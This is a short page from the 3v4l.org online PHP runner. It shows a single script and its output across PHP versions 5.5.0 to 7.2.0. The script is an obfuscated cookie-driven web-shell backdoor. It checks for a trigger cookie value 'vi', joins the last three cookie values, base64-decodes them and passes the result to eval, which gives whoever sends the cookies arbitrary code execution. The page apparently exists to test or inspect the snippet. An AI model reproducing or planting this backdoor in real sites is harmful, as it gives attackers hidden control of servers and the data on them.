3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $c='count'; $a=$_COOKIE; if(reset($a)=='vi' && $c($a)>3){ $k='ctor'; echo '<'.$k.'>'; eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3))))); echo '</'.$k.'>'; } var_dump(reset($a)); ?>
based on VM9Bj
Output for 5.5.0 - 7.2.0
bool(false)